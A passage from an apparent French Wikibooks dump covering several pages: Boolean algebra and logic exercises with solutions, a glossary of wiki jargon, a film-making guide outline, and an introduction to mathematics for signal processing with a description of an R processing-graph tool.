border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> ===Exercices sur les lois d'algèbre booléenne=== 1. :1. z = ab'c' + ab'c + abc ::<math> \begin{matrix} x &=& ab'c' + ab'c + abc\\ &=& ab'c' + c(ab' + ab)\\ &=& ab'c' + ca \end{matrix} </math> :2. z = ab(c + d) ::<math> \begin{matrix} x &=& ab(c + d)\\ &=& abc + abd\\ \end{matrix} </math> :3. z = (a + b)(c + d + f) ::<math> \begin{matrix} x &=& (a + b)(c + d + f)\\ &=& ac + ad + af + bc + bd + bf\\ \end{matrix} </math> :4. z = a'c(a'bd)' + a'bc'd' + ab'c ::<math> \begin{matrix} x &=& a'c(a'bd)' + a'bc'd' + ab'c\\ &=& a'c(a + (bd)') + a'bc'd' + ab'c\\ &=& a'ca + a'c(bd)' + a'bc'd' + ab'c\\ &=& a'c(b' + d') + a'bc'd' + ab'c\\ &=& a'cb' + a'cd' + a'bc'd' + ab'c\\ \end{matrix} </math> :5. z = (a' + b)(a + b + d)d' ::<math> \begin{matrix} x &=& (a' + b)(a + b + d)d'\\ &=& (a' + b)(a + b + d)d'\\ &=& (a'a + a'b + a'd + ba + bb + bd)d'\\ &=& (a'b + a'd + ba + b + bd)d'\\ &=& (b(a' + a) + a'd + b + bd)d'\\ &=& (a'd + b + bd)d'\\ &=& a'dd' + bd' + bdd'\\ &=& bd'\\ \end{matrix} </math> 2. Montrer que x + yz est équivalent à (x + y)(x + z) ::<math> \begin{matrix} x &=& (x + y)(x + z)\\ &=& xx + yx + xz + yz\\ &=& x(x + y + z) + yz\\ &=& x + yz\\ \end{matrix} </math> ===Exercices sur les implications=== # Décider si les propositions suivantes sont vraies ou fausses ## Si 1 + 2 = 3, alors 2 + 2 = 5 ## Si 1 + 1 = 3, alors le poisson ne peut pas nager # Montrer que la paires de propositions suivante est équivalente ## <math>x \Rightarrow y</math> : <math>y' \Rightarrow x'</math> AL SP Logique 3744 15227 2005-05-29T15:05:08Z Jim2k 289 [[AL Logique|Logique]] ==Ensemble d'exercices de problèmes de logique== 1. :<math>x'\Rightarrow y' = x + y'</math> :<math>y\Rightarrow x = y' + x = x + y'</math> :Donc, les énoncés sont les mêmes 2. :<math>(x \Leftrightarrow y) \Rightarrow z = \,</math> :<math>(x \Leftrightarrow y)' + z = \,</math> :<math>(x' + y)' + z = \,</math> :<math>xy' + z\,</math> 3. :a. <math>(\forall x)(x^2 = 9 \Rightarrow x^2 - 6x - 3 = 0) </math> :''x''<sup>2</sup> = 9 veut dire que ''x'' peut être 3 :3<sup>2</sup> - 6*3 - 3 = 0 est faux :Donc, la phrase est fausse :b.<math>(\exists x)((x^2 = 9) \times (x^2 - 6x - 3 = 0))</math> :Pour que cette équation soit fausse, nous devons avoir un ''x'' tel que ''x''<sup>2</sup>=9 et ''x''<sup>2</sup> - 6x - 3 = 0 soient tous les deux faux. :Les valeurs de ''x'' pour lesquelles ''x''<sup>2</sup>=9 est vraie sont x = 3 et x = - 3 :Les valeurs de ''x'' pour lesquelles ''x''<sup>2</sup> - 6x - 3 = 0 est vraie sont <math>x=2\sqrt{3}+3 \mbox{ et }x=-2\sqrt{3}+3</math> :Puisque aucune des valeurs de x sont les mêmes, il n'existe pas de nombre pour lequel l'énoncé est vrai. 4. (Cette solution est due à Tom Lam). Soit (x+y)w+z = a NAND b , où a et b peuvent être soit un des x,y,w,z ou un autre opérateur NAND. <math>(x+y)w+z=(ab)'</math> <math>(x+y)w+z=a'+b'</math> Par conséquent <math>a=[(x+y)w]'</math> et <math>b=z'</math> , les deux ont besoin de plus d'opérateurs NAND. Soit a = c NAND d , et soit b = e NAND f. <math>(x+y)w+z={(cd)'}^{'}+{(ef)'}^{'}</math> <math>(x+y)w+z=cd+ef</math> Par conséquent d=w, e=f=z,c=x+y. Soit c = g NAND h. <math>x+y=(gh)'</math> <math>x+y=g'+h'</math> Maintenant g=x' et h=y', nous avons besoins d'encore plus d'opérateurs NAND. Soit g = i NAND j et soit h = k NAND l. <math>(ij)'=x'\,</math> <math>x=ij\,</math> <math>(kl)'=y'\,</math> <math>kl=y\,</math> Par conséquent i=j=x et k=l=y. Maintenant, substituons toutes les variables, vous devriez obtenir : (x+y)w+z={[(x NAND x) NAND (y NAND y)] NAND w} NAND (z NAND z) '''D'une manière différente''' Chacun des ET, OU et NON peut être exprimé en termes de NAND. Et par conséquent toute expression booléenne peut être écrite entièrement avec l'opérateur NAND. Cette propriété est appelée l'universalité de NAND. Rappelez-vous que x NAND y = (xy)' D'abord, :NOT x = x' = x'x' = (xx)' = x NAND x donc, :x OR y = x + y = (x'y')' = (x NAND x) NAND (y NAND y) et :x AND y = xy = (xy)' ' = (x NAND y) NAND (x NAND y) Maintenant :(x + y)w = ((x NAND x) NAND (y NAND y)) NAND w et donc :(x + y)w + z = ((((x NAND x) NAND (y NAND y)) NAND w) NAND (((x NAND x) NAND (y NAND y)) NAND w)) NAND (z NAND z) Aide:Jargon 3745 32602 2006-02-13T06:22:02Z Merrheim 1032 /* Wikiprof */ Ceci est le glossaire du jargon utilisé sur Wikilivres (et wikipédia ...). Vous pouvez y ajouter les termes dont vous aimeriez avoir la définition, qu'un « initié » écrira à coup sûr. Prérequis : [[jargon informatique]]. ---- == Administrateur == # Désigne les personnes qui peuvent effacer définitivement une page ou la bloquer, et bloquer un utilisateur anonyme ou enregistré. Toute personne ayant contribué pendant un certain temps peut le devenir, il suffit de demander et qu'il n'y ait pas d'oppositions légitimes. Voir [[Special:Listadmins|Liste des administrateurs]]. Parfois abrégé en "admin". Synonyme : "sysop". # Membre du Conseil d'administration (Board of Trustees) de l'association américaine Wikimedia Foundation [[m:WMF/A_propos_de_Wikim%C3%A9dia#Le_conseil_d.27administration]] # Membre du Conseil d'administration de l'association française "Wikimedia France" [http://wikimediafoundation.org/wiki/Wikim%C3%A9dia_France_%28statuts%29#ARTICLE_8_:_Conseil_d.27administration] == Àmha, àmha, amha, ama == : Abréviation de "à mon humble avis", "à mon avis". ''Autre variante'' : àmho qui est l'abréviation de "à mon humble opinion". En anglais : IMHO (in my humble opinion) == Article == : Un article fait référence à une page de Wikipédia consacrée à une entrée encyclopédique. Elles sont reconnaissables à la couleur blanche de leur fond, alors que les pages des discussions, les pages meta, et les pages d'aide sont de couleurs respectivement jaunes, grises et roses. ==blanchir== : Se réfère à l'action de vider entièrement une page de son contenu. elle devient alors une page blanche, d'où le verbe blanchir. == Bouchon == : ''Voir '''ébauche''''' == Bot == : Vient du mot ''Ro'''bot'''''. Dans le cadre de Wikipédia, le terme fait référence aux programmes utilisés pour la modification automatique de pages. Voir [[w:Wikipédia:Bots]] == Bureaucrate == : Dans les sites et projets Wikimedia, un bureaucrate est un administrateur qui dispose de la possibilité technique de donner aux utilisateurs les droits d'administrateur. Voir [[w:Wikipédia:Bureaucrate]]. ==Cassage d'historique== :Effectuer une opération qui fait perdre l'historique d'un texte, violant ainsi la [[w:GFDL]]. Transporter un texte par une opération de copier-coller au lieu de passer par l'onglet "renommer". ==Cat== :Dans un résumé de modification, indique que l'éditeur vient d'ajouter une [[w:Aide:catégorie|catégorie]] à l'article. Dans le cas d'une modification de catégorie, il indiquera en général ''recat'' comme commentaire. ==CET, CEST, UTC == : '''CET''' veut dire Central European Time - heure d'Europe centrale. Elle est égale à UTC + 1, c'est à dire à l'heure du méridien de Greenwich augmentée d'une heure. Sauf en été, où CET se transforme en '''CEST''', soit Central European Summer Time - heure d'été d'Europe centrale. : Quant à '''UTC''', cela veut dire temps universel coordonné, soit Universal Time Coordinated . : Des sites en français [http://www.horlogeparlante.com/] et en anglais : [http://www.timeanddate.com/] == Copyvio == :'''copy'''right '''vio'''lation : violation de copyright, utilisation d'un contenu protégé par le droit d'auteur sans autorisation. == Déplacer la page == : Terme d'informaticien. Lire en réalité « renommer la page ». En pratique, cela renomme l'ancienne page (ainsi que la page de discussion associée), conserve l'historique d'édition, et crée une redirection depuis l'ancien article vers le nouveau. == Développeur == : Informaticien chargé du développement de mediaWiki ainsi que de la maintenance des serveurs. Voir [[w:Wikipédia:Développeur]]. == Diff == : '''Faire un diff''', c'est comparer deux versions d'une page en en faisant ressortir les différences. Pour cela on utilise le bouton "comparer les versions sélectionnées" dans l'onglet "historique". On peut aussi cliquer sur le lien "diff" présent sur chaque ligne de [[Special:Recentchanges]] ou de sa [[Wikipédia:Liste de suivi|Liste de suivi]] personnelle. == Ébauche == En anglais: ''stub''. : Article très court. Ces termes peuvent soit désigner des articles créés uniquement pour y placer un lien vers un autre article ''(bouchon)'' ou des articles ne contenant encore que très peu d'informations ''(ébauche)''. Voir [[Wikipédia:Catégories d'ébauches]],[[Wikipédia:stub]], [[Wikipédia:Ébauches à compléter]]. == Éclipse, Éclipser == : Un sujet d'article '''éclipse''' un autre sujet homonyme s'il est plus important. On renomme alors l'article éclipsé en ajoutant une précision entre parenthèses. Voir [[Wikip%C3%A9dia:Homonymie#Nommage|homonymie]]. == Éditer == : Signifie à la fois « [[Aide:Comment modifier une page|modifier un article]] » et « [[Aide:Comment démarrer une page|créer un nouvel article]] ». C'est le sens du verbe anglais ''to edit'' et le sens du verbe français ''éditer'' dans le domaine de l'[[Paléographie|édition critique]]. == Éditeur == : Vient de l'anglais ''editor'', « contributeur à Wikipédia ». Voir '''''wikipédiens'''''. == en == (ou autres dérivés comme ''fr'', ''de''...) : Fait référence aux Wikipédias en fonction de la langue utilisée. On dit parfois aussi "wiki-en", ou "en:". Il s'agit du code en deux lettres identifiant la langue selon la norme internationale [[ISO 639]]; En voici quelques exemples (voir le site http://www.loc.gov/standards/iso639-2/ pour la liste complète) : ''af'' = « afrikaans », ''ar'' = « arabe », ''bs'' = « bosniaque », ''ca'' = « catalan », ''cs'' = « tchèque », ''cy'' = « gallois », ''da'' = « danois », ''de'' = « allemand », ''et'' = « estonien », ''el'' = « grec », ''en'' = « anglais », ''es'' = « castillan », ''eo'' = « espéranto », ''eu'' = « basque », ''fy'' = « frison », ''ga'' = « gaélique irlandais », ''gl'' = « galicien », ''hr'' = « croate », ''he'' = « hébreu », ''ia'' = « interlingua », ''it'' = « italien », ''ja'' = « japonais », ''ko'' = « coréen », ''la'' = « latin », ''lv'' = « letton », ''lt'' = « lituanien », ''hu'' = « hongrois », ''mi'' = « maori », ''ml'' = « malayalam », ''nl'' = « néerlandais », ''no'' = « norvégien », ''pl'' = « polonais », ''pt'' = « portugais », ''ru'' = « russe », ''sl'' = « slovène », ''sr'' = « serbe », ''fi'' = « finnois », ''sv'' = « suédois », ''tr'' = « turc », ''uk'' = « ukrainien », ''vn'' = « vietnamien », ''vo'' = « volapük », ''zh'' = « chinois ». : Voir aussi [[Wikipédia:Lien interlangue]] == Espace == # Sur Wikipédia, ce sont les espaces de rédaction autres que les articles encyclopédiques, servant au suivi du projet. Le type d'espace précède le titre de l'article dont il est séparé par ":". Nous sommes ici dans l'article "Jargon" de l'espace "Aide", d'où la notation "Aide:Jargon". Voir la liste des espaces dans [[Aide:Espace]]. # En typographie, une espace est un blanc entre deux caractères. Voir [[Espace typographique]]. ==from scratch== : Expression couramment utilisé en informatique, tirée de l'anglais; elle signifie reprendre au début, repartir de zéro, par opposition à repartir d'une sauvegarde. == GFDL == : Signifie '''G'''NU '''F'''ree '''D'''ocumentation '''L'''icense. C'est la licence de Wikipédia. Voir [[Wikipedia:Copyright]] et [[GFDL]] pour plus d'information. == Guerre d'édition == : Modifications et annulations des modifications d'un même article par un ou plusieurs contributeurs à plusieurs reprises souvent dans un but polémique. À éviter et résoudre rapidement en se servant de la page de discussion de l'article. Voir aussi [[Wikipédia:Guerres d'édition]]. == Historique == : Ensemble des changements qu'a subis une page. Consulter l'historique d'une page permet d'en suivre l'évolution depuis sa création jusqu'aux dernières modifications. L'historique permet aussi de retrouver une version ancienne d'une page afin de la restaurer en cas de [[vandalisme]]. == Initiateur == L''''Initiateur''' d'un article ou d'une section est l'éditeur qui a crée l'article ou la section. C'est celui qui en est l'origine. == Interwiki == : Lien d'un article vers un article similaire dans une autre langue. Voir : [[http://fr.wikipedia.org/wiki/InterWiki]] et [[Wikipédia:Liens interlangues]] == Jnspj == : ''Je ne suis pas juriste''... mais la personne se permet quand même de donner un conseil juridique. == màj == : Acronyme de Mise À Jour : Néologisme: misajourable, mettre à jour un terminal, PC, etc. == Mediawiki== :C'est le logiciel qui permet à Wikipédia de fonctionner. Voir [[mediawiki]]. Ne pas confondre avec "Wikimedia" (voir ce mot ci-dessous). == meta, méta == # '''Méta-Wiki''' : coordination de tous les projets Wikimedia [http://meta.wikimedia.org/wiki/Accueil] # '''Pages meta''' : voir [[Wikipédia:Pages méta]] ; voir aussi ci-dessus [[#espace]]. == ortho == :Se rencontre dans les résumés (commentaires) de modification et signifie: ''J'ai fait une ou plusieurs corrections orthographiques.'' ==Page courte== : '''Page courte''' ou '''article court''' désigne comme le nom l'indique un article de petite taille. Un article court est parfois un peu plus long qu'une ébauche. Page courte (ou article court) désigne aussi parfois la liste des pages courtes dans les pages spéciales. Cette liste est mise à jour environ une fois par semaine. La liste, classée par ordre croissant, se trouve [[Special:Shortpages|ici]] ==Page en impasse== : Une '''page en impasse''' est un article qui ne possède aucun lien menant vers un article déjà existant. Cette page ne comporte donc pas de <nowiki>[[]]</nowiki> ou tous les <nowiki>[[]]</nowiki> mènent vers des articles non encore créés. Donc, lorsqu'un lecteur arrive sur une page en impasse, « sa promenade de lien en lien se trouve en quelque sorte bloquée ». La liste (mise à jour environ une fois par semaine) se trouve [[Special:Deadendpages|ici]]. ==Page longue== : '''Page longue''' ou '''article long''' désigne comme le nom l'indique un article de grande taille. La liste, mise à jour environ une fois par semaine et classée par ordre décroissant, se trouve [[Special:Longpages|ici]]. ==Page orpheline== : Une '''page orpheline''' désigne un article vers lequel aucune autre page ne pointe. La liste est consultable [[Special:Lonelypages|ici]]. ==Pages les plus demandées== : Pages non encore rédigées, vers lesquelles des liens hypertextes sont d'ores et déjà prévus dans les articles déjà rédigés. Plus ce nombre de liens hypertextes est grand, plus ces pages sont demandées. Elles sont aussi connues sous le nom de pages attendues. Voir : [[Special:Wantedpages]]. == Palette de navigation == : Tableau de bord présentant de façon ergonomique des renvois vers des articles connexes. Voir : [[Aide:Palettes de navigation]]. == PDVN ou NPOV == : Vient de l'anglais '' '''N'''eutral '''p'''oint '''o'''f '''v'''iew'' qui signifie « neutralité de point de vue ». C'est une philosophie fondatrice de Wikipédia. Les contributeurs à Wikipédia doivent essayer de la respecter. Voir [[Wikipédia:La neutralité de point de vue]]. == PDV ou POV == : Vient de l'anglais '' '''P'''oint '''o'''f '''v'''iew'' qui désigne une opinion ou un point de vue, et qui, dans le cadre de Wikipédia, sous-entend une opinion non neutre ou biaisée. Voir [[Wikipédia:la neutralité de point de vue]]. == Piranha == : Voir [[w:Wikipédia:Effet piranha]]. == Préfixe == : Notation simplifiée qui permet de raccourcir la syntaxe des liens. On en trouve deux listes incomplètes [[m:Template:H:interwiki linking|ici]] et [[:m:Interwiki map|là]]. Leur utilisation est expliquée dans [[Aide:Syntaxe_wikipédia#Les_adresses_internet]]. == Quarto == : '''Wikimedia Quarto''', ou '''Quarto''' tout court, est le bulletin d'information trimestriel de la fondation Wikimedia. On peut le consulter en ligne à [http://wikimediafoundation.org/wiki/Wikimedia_Quarto cette adresse]. == RC, RecentChanges == : Modifications récentes. RecentChanges (ou RC) fait référence à la page accessible dans le menu "navigation" ou sont listées toutes les modifications récentes apportées aux pages du Wikipédia francophone. Elle est également accessible ici : [[Special:Recentchanges]]. ==Recat== voir [[#Cat]] == Redirect, Redirection == : Une page de redirection ou redirection est une page qui redirige automatiquement le visiteur sur une autre page.<br>''Voir [[Aide:Redirection]].'' == Reversion, revert, rv== : Opération consistant à annuler la ou les dernières modifications d'une page en chargeant depuis l'historique une version plus ancienne et considérée plus correcte et en enregistrant cette ancienne version. Il s'agit la plupart du temps d'annuler le [[vandalisme]]. == s/XXXX/YYYY/ == : Dans le résumé d'une modification de page, "s/XXXX/YYYY/" signifie que l'on a remplacé le mot ou la chaîne de caractères ''XXXX'' par ''YYYY''. Exemple : s/méson/maison/ signifie que le mot ''méson'' a été remplacé par le mot ''maison''. Cette syntaxe est une référence à l'outil d'édition [[sed]], très répandu sur les systèmes basés sur [[UNIX]]. == Sock puppet == : Compte supplémentaire d'un utilisateur. : '''Voir [[wikipédia:faux-nez|faux-nez]]''' == Stub == : ''Voir '''ébauche'''''. == Steward == : Sur Wikipédia, les stewards sont des utilisateurs qui peuvent créer/modifier/supprimer le statut des utilisateurs sur tous les wikis du projet Wikimédia. Voir [[Wikipédia:Steward]]. == Subst == : Faire un '''subst''', consiste à ajouter le paramètre "subst" dans la syntaxe d'un modèle. Voir dans [[Aide:Modèle]] les conséquences qui en découlent. == Sysop == : ''Voir '''administrateur''''' == Typo == :Se rencontre dans les commentaires (résumés) de modification et signale: ''J'ai fait une ou plusieurs corrections dans la [[typographie]] de l'article''. == [[wikipédia:Vandalisme|Vandalisme]] == : Modifications apportées aux articles de la Wikipédia avec une volonté de nuire à l'article, au sujet de l'article ou à la Wikipédia. Ne pas confondre vandalisme et guerre d'édition : dans ce dernier cas, les protagonistes pensent agir pour un mieux (en général...). Voir [[Wikipédia:Que faire en cas de vandalisme|que faire en cas de vandalisme]] ==wiki fr== : Désigne la déclinaison française de la communauté wikipédia qui réalise l'ouvrage encylopédique de cette communauté décrit dans l'article [[wikipédia]]. Quand la confusion entre la communauté et l'encyclopédie on précise communauté wiki fr. == Wikifier == : ''Voir '''wikification''''' == Wikification == : Ajout des liens internes à Wikipédia ou plus généralement adaptation d'un article aux formats décrits dans [[w:Wikipédia:Règles]]. : La wikification est souvent signalée par le commentaire « [[]] ». == WikiLove == : Voir [[w:Wikipédia:WikiLove]] == Wikimania == :Manifestation annuelle qui regroupe les Wikimédiens (voir ci-dessous) du monde entier. Voir : [http://meta.wikimedia.org/wiki/Wikimania:Accueil la page d'accueil sur ''méta'']. == Wikimedia == :Fondation américaine sans but lucratif dont les statuts sont déposés dans l'État de Floride. Elle possède une branche loi de 1901 française : "Wikimedia France", et une branche allemande "Wikimedia Deutschland eV". Ne pas confondre avec "mediawiki" (voir ce mot). Voir [[Wikimedia]]. == Wikimédien == :Contributeur qui participe à l'un ou l'autre des différents projets de la fondation Wikimedia. Correspond au mot anglais [http://meta.wikimedia.org/wiki/Wikimedian ''wikimedian'']. == Wikipédia == : Cette encyclopédie. Certains disent ''la [[Wikipédia]]'' (comme ''une'' encyclopédie) et d'autres disent ''le Wikipédia'' (comme ''un'' site internet) ; le genre n'a pas encore été fixé formellement. Voir aussi [[Wikipédia:FAQ_générale#le Wikipédia ou la Wikipédia ?|Doit on dire le, la ... Wikipédia ?]] == Wikipédiens == : Voir "[[Wikipédia:Wikipédiens|Wikipédien]]/ne/s". On parle également de « participant/e/s », d'[[Wikipédia:Introduction, compte utilisateur|utilisateur]]s. Voir aussi [[Wikipédia:Comment je suis devenu-e un-e wikipedien-ne]]. Deux écoles s'affrontent quant à l'appartenance ou non des [[Wikipédia:Merci aux rédacteurs inconnus|rédacteurs inconnus]] à la catégorie "wikipédiens". == Wikipédiholique == : Voir [[w:Wikipédia:Test : Êtes-vous wikipédiholique ?|Wikipédia:Test : Êtes-vous wikipédiholique ?]]. == Wikipédiholisme == : Voir [[w:Wikipédia:Wikipédiholisme|Wikipédia:Wikipédiholisme]]. == Wikipédiste == :Plus ou moins synonyme de "Wikipédien", listé ci-dessus. Voir [[w:Wikipédia:Wikipédiste]]. ==Wikiprof== Membre de la wikiversité qui s'autoproclame capable de proposer un cours ou de dire si la réponse à exercice est juste ou fausse. == Wiktionnaire == : Voir [[Wiktionnaire]]. ==Wikitudiant== Membre de la wikiversité souhaitant acquérir de nouvelles compétences Faire son film 3746 45589 2006-06-24T16:19:43Z 86.208.198.62 /* Casting */ [[en:Movie making manual]] [[Image:Fsf.jpg|right]] <!-- {{Wikipédia|Cinéma artisanal}} --> ''Ébauche qui s'inspire largement de la version anglaise'' : [[:en:Movie Making Manual|Movie Making Manuel]]. Bienvenue sur le WikiBook en français consacré à la production et à la réalisation audiovisuelle. Ce guide a pour but de guider chaques étapes nécessaire. === Contributeurs === ''(Chronologique)'' Frederick Diot === Liens === *[[Faire son film-sites_spécialisés | Sites specialisés]] *[[Faire son film-films | Court Métrage & Films]] *[http://fr.opensuse.org/Édition_video_avec_SUSE_Linux des références pour Linux] =Etapes= [[Image:devcine.jpg|right]] ===Projet scenaristique=== *[[Faire son film-Proctection-Intellectuelle |Proteger ses oeuvres]] *[[Faire son film-Licenses-Numériques | Licenses Numériques]] *[[Faire son film-Ecrire-scenario | Ecrire son Scenario ]] *[[Faire son film-le-synopsis | Le synopsis ]] ===Financement=== *[[Faire son film-trouver-financement | Demarche pour le finacement ]] *[[Faire son film-financement-carnet | Carnet d'adresse ]] ===Ecriture Contrats=== <table width="100%" bgcolor="#6F945C" > <tr> <td align="right">[[Image:preprod.jpg]]</td> </tr> </table> ===Materiel/Stock=== ===Storyboard=== *[[Faire son film-storyboard | Le storyboard ]] ===Castring=== ===Locations=== ===Budget=== *[[Faire son film-Budget | Mettre en place son budget ]] ===Emploi du temps=== ===Bureautique papier=== <table width="100%" bgcolor="#6F945C" > <tr> <td align="right">[[Image:prod.jpg]]</td> </tr> </table> === Techniques=== === Mise en scène === <table width="100%" bgcolor="#6F945C" > <tr> <td align="right">[[Image:postprod.jpg]]</td> </tr> </table> ===Sons=== ===Image=== <table width="100%" bgcolor="#6F945C" > <tr> <td align="right">[[Image:diffvente.jpg]]</td> </tr> </table> ===Vente / Marketing=== ===Bande annonces=== <table width="100%" bgcolor="#6F945C" > <tr> <td align="right">[[Image:anx.jpg]]</td> </tr> </table> = Outils Numériques = *[[Faire son film-Linux | Sous Linux]] *[[Faire son film-Windows | Sous Windows]] *[[Faire son film-Mac | Sous Mac]] =Etudes= *[[Faire son film-sans études| Sans études]] *[[Faire son film-Etude niveau bac | Niveau Bac]] *[[Faire son film-Etude Bac2 | Bac+2]] *[[Faire son film-livres | Livres conseillés]] = Associations / Festivals = *[[Faire son film-Carnet-association | Les Associations ]] *[[Faire son film-Carnet-festival | Les Festivals ]] *[[Faire son film-Asso-mode-demploi | Comment s'investir dans une association de ciné ]] *[[Faire son film-faire-son-asso | Comment Créer son association ]] *[[Faire son film-faire-son-festiv | Comment faire son festival / soirée projection ]] =Musique / Bande Originale = [http://fgimello.free.fr/documents/livre_musique_film.pdf Media:La musique, la dimension cachée du film] [http://fgimello.free.fr/enseignements/autres_enseignements/jerry_goldsmith.htm musique de film : Jerry Goldsmith] Mathématiques du traitement du signal 3747 42277 2006-05-14T13:14:44Z 83.155.196.169 /* Le support informatique du traitement mathématiques des signaux */ == Mathematics for Signal Processing / les mathématiques du traitement du signal == === Les mathématiques du traitement du signal === ''This wiki book is writen in french ; it is dedicated to mathematics for signal processing issues'' Les mathématiques du traitement du signal plusieurs aspects : * les résultats théoriques * le support (informatique) qui permet leur mise en place * les résultats expérimentaux, qui mettent en relations des méthodologies avec des problématiques issues du monde réel Les chapitres de ce livre touchent à tout ces points. === Le support informatique du traitement mathématiques des signaux === Divers logiciels disponibles permettent de manipuler des signaux et de leur appliquer des algorithmes de l'état de l'art, ou de prototyper et développer de nouveaux algorithmes. Dans le désordre, les plus connus d'entre eux : * [http://www.mathworks.com/ MATLAB] * [http://www-rocq.inria.fr/scilab/ scilab] * [http://www.octave.org/ octave] * [http://www.sas.com/ SAS] * [http://www.r-project.org R-project] D'autres langages sont plus tournés vers la formalisation mathématique : * [http://www.wolfram.com/ Mathematica] * [http://www.maplesoft.com/ Maple] Très peu d'entre eux prennent en compte deux spécificités du traitement mathématiques des signaux (pour un historique, voir par exemple [http://print.google.com/print?id=b9uoIswZUcUC&pg=29&lpg=29&dq=29&prev=http://www.google.com/search%3Fnum%3D50%26hl%3Den%26lr%3D%26safe%3Doff%26q%3Dbook%2BStatistical%2BChambers%26btnG%3DSearch&sig=Tdsdm7oZy-C1-XZ9psjSEmTsGWw Elements of Statistical Computing], by Ronald A Thisted): * la nécessité de séquencer en plusieurs temps la même suite de traitements algorithmiques, d'abord sur des données permettant l'estimation des paramètres des modèles mathématiques, scientifiques ou statistiques, ensuite sur des données opérationnelle (dans le vocabulaires des réseaux de neurones, les premières constituent la base d'apprentissage, les secondes la base de test ou de validation), * la nécessite de dissocier : ** les données ; le '''green book''' de S/R disponible [http://cm.bell-labs.com/cm/ms/departments/sia/Sbook/index.html ici] (et sur [http://books.google.com/books?hl=en&lr=&id=Km1IBFZCRPUC google-print]) intitulé '''Programming with Data, A Guide to the S Language''' (John M. Chambers, Springer-Verlag, New York, 1998) est un très bon point d'entrée sur le sujet. ** les algorithmes ** l'enchainement des algorithmes ** les paramètres (externes) des algorithmes ** les paramètres internes (estimés) des algorithmes Un système permettant de gérer ces deux nécessités est communément appelé [[Mathématiques_du_traitement_du_signal:grapheur|grapheur]]. L'approche par '''graphes de traitement''' est aussi appelée [http://www.jpaulmorrison.com/fbp/ flow-based programming] (cf J.P. Morrison, '''Flow-Based Programming: A New Approach to Application Development''' ou bien le chapitre 5 du mémoire d'[http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/hdr/hdr.pdf habilitation à diriger des recherches] de [http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/ Jérôme Lacaille]). Exemple de graphe de traitement destiné à être manipulé par le grapheur: [[Image:Gr-example-01.jpg]] == Fondements théoriques == Les mathématiques pour le traitement du signal dont il est question ici ont beaucoup recours aux statistiques et aux probabilités. Par exemple, en utilisant la transformée de Fourier pour comprendre la nature des évolutions temporelles d'une variable <math>X_t</math> sur des données réelles (comme celles qui sont issues d'un capteur mesurant des grandeurs du monde réel), on ne mesure pas directement les coefficients <math>c_k</math> du développement en série de Fourier de <math>X_t</math> ; on n'en mesure qu'un estimateur <math>\hat X_t</math>. Il est alors nécessaire de connaître avec quelle précision (en fait quels sont le biais et la variance de cet estimateur) <math>\hat X_t</math> nous renseigne sur <math>X_t</math>. La partie intitulée Fondements théoriques abodre ces différents points. * [[Mathématiques_du_traitement_du_signal : info|Information et borne de Cramer Rao]] * [[Mathématiques du traitement du signal : formules|Formulaire]] * [[Mathematiques_du_traitement_du_signal : Taylor|Utilisation de développement de Taylor en stat]] De façon plus générale, il est toujours possible de consulter les pages [http://fr.wikipedia.org/wiki/Catégorie:Probabilités probabilités] de Wikipédia. == Annexes == === Données financières === * [[Mathématiques_du_traitement_du_signal:finances:données_et_affichages|Se procurer et afficher]] des données === Exercices === * Exercices : [[Mathématiques_du_traitement_du_signal:exercices:suites|Suites et séries]] === Divers === * Notes diverses [[Mathématiques_du_traitement_du_signal:notes:rnmatlab|réseaux de neurones]] * Construction de [[Mathématiques_du_traitement_du_signal:permutations|fonctions de permutation]] * [[Mathématiques_du_traitement_du_signal:Développements limités|Développements limités ]] [[Catégorie:Mathématiques]] Mathématiques du traitement du signal:grapheur 3749 30220 2006-01-24T23:02:08Z Greudin 1 /* Format du graphe de traitement */ == Grapheur == Un grapheur est un système informatique permettant de manipuler des '''graphes de traitements''' algorithmiques. Ils rendent possible le chaînage (l'assemblage) de '''modules''' (ou '''noeuds''') algorithmiques, ainsi que leur exécution. Un chapitre du mémoire d'habilitation à diriger les recherches de [http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/ Jérôme Lacaille] est très éclairant sur les [http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/hdr/hdr_dmc.pdf grapheurs]. === Exemple de grapheur en langage R === Un grapheur simple en langage R est disponible sous licence GNU sur le site [http://phimatex.sourceforge.net PhiMaTeX] de [http://www.sourceforge.net sourceforge] ; sa dernière version est téléchargeable [https://sourceforge.net/project/showfiles.php?group_id=72934&package_id=149310 ici]. Ce grapheur est commenté afin d'exposer les points nécessaires au bon fonctionnement d'un tel système. ==== Format du graphe de traitement ==== Dans le cadre d'une implémentation en R, un graphe de traitement va être incarné par une liste de '''noeuds'''. Chaque noeud représentra un traitement. Il y aura un noeud supplémentaire (pompeusement appelé '''global-node''') qui contiendra des informations globales sur le graphe de traitement (comme son mode d'exécution courrant, ou le dernier chaînage exécuté). Chaque noeud va avoir plusieurs propriétés, qui vont permettent de le décrire ; le minimum est : * un numéro d'identifiant unique : <tt>id</tt> * le nom du noeud (<tt>name</tt>), qui permet de s'y référer plus simplement que par son numéro d'id * la fonction algorithmique attachée au noeud : <tt>rfun</tt> * les paramètres du noeud : <tt>params</tt>, structuré en une liste de couples nom-valeur (<tt>name</tt> x <tt>value</tt>) * ses connections vers d'autres noeuds : <tt>coutput</tt> * ses connections provenant d'autres noeuds : <tt>cinput</tt> ; il s'agit d'une matrice <math>N \times 2</math> dont la ''n''ième ligne contient, pour la connection ''n'', le nom du module pointé (ou pointeur), suivi du numéro de la connection concernée * sa mémoire interne : <tt>memory</tt> * la valeur du signal de sortie, lorsque c'est appliquable : <tt>outputs</tt> [[Image:Node-proto.png|thumb|right|Description]] Il existe d'autres propriété, qui sont manipulées par le grapheur lui-même : * <tt>verbose</tt> : qui détermine le niveau des sorties relatives au noeud qui seront dans le log * 